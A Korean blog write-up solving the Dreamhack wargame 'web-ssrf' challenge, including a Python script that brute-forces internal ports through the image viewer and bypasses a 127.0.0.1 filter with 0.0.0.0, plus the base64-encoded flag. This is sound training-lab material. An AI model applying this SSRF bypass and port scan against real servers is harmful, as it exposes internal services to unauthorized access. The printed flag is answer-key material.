web-ssrf 풀이

2021. 8. 25. 00:35Dreamhack Wargame

728x90

문제 제목
문제 정보
메인 페이지
소스코드

/img_viewer 페이지에 들어가 보겠습니다.

 

/img_viewer

기본값으로 /static/dream.png라는 url이 들어있습니다.

View를 눌러서 무슨 파일인지 확인해보겠습니다.

 

dreamhack logo

그냥 드림핵 로고 그림의 png 파일이었습니다.

 

소스코드에서 elif 부분을 보면 POST 형식으로 보내야 한다는 걸 알 수 있습니다.

이제 어떻게 flag.txt를 찾아야 할지 생각해봐야 하는데, 여기서 local_host 변수를 보면 host는 127.0.0.1로 고정입니다.

하지만 local_port 변수는 1500~1800 사이 범위에서 랜덤으로 주어집니다.

그렇기에 이 port를 중심으로 Brute force를 돌려서 문제를 해결하면 될 것 같습니다.

 

또한, 코드에서 elif 안에 있는 elif를 보면 127.0.0.1을 필터링하는 것을 볼 수 있습니다.

그렇기에 이 주소를 우회하여 문제를 풀어야 합니다.

 

https://pravinponnusamy.medium.com/ssrf-payloads-f09b2a86a8b4

 

SSRF payloads

Payloads with localhost

pravinponnusamy.medium.com

우회 방법은 위의 링크를 참고했습니다.

 

import requests

for i in range(1500,1801):
    url='http://host1.dreamhack.games:15701/img_viewer'
    a = 'http://0.0.0.0:'+str(i)+'/flag.txt'
    res = requests.post(url,data={'url':a})
    if 'w+ECceYQ4N3fwAAAABJRU5ErkJggg==' not in res.text:
        print(i)
        break

 

이 코드를 돌려서 나온 url을 /image_viewer에 넣어봤습니다.

 

깨진 이미지 파일?

깨진 이미지 파일 하나가 나왔습니다.

F12로 개발자 도구에 들어간 후 html 코드를 봤습니다.

 

REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9

 

깨진 이미지에는 위와 같은 데이터가 들어있었습니다.

소스코드를 보면 Base64로 FLAG가 인코딩 되어있는 것 같으니, 이를 Base64로 디코딩하면 FLAG가 나올 것입니다.

 

FLAG 획득 완료
문제 풀이 성공

 

파이썬 코드에 날려먹은 시간이 2시간 반.....

 

드림핵 서버 느린 것도 한몫하고, 거기에 자잘한 실수까지 더해지니 진짜 정신 나가는 줄 알았습니다.

728x90

'Dreamhack Wargame' 카테고리의 다른 글

devtools-sources 풀이  (0) 2021.09.05
php-1 풀이  (0) 2021.09.05
blind-command 풀이  (0) 2021.08.18
csrf-2 풀이  (0) 2021.08.17
xss-2 풀이  (0) 2021.08.17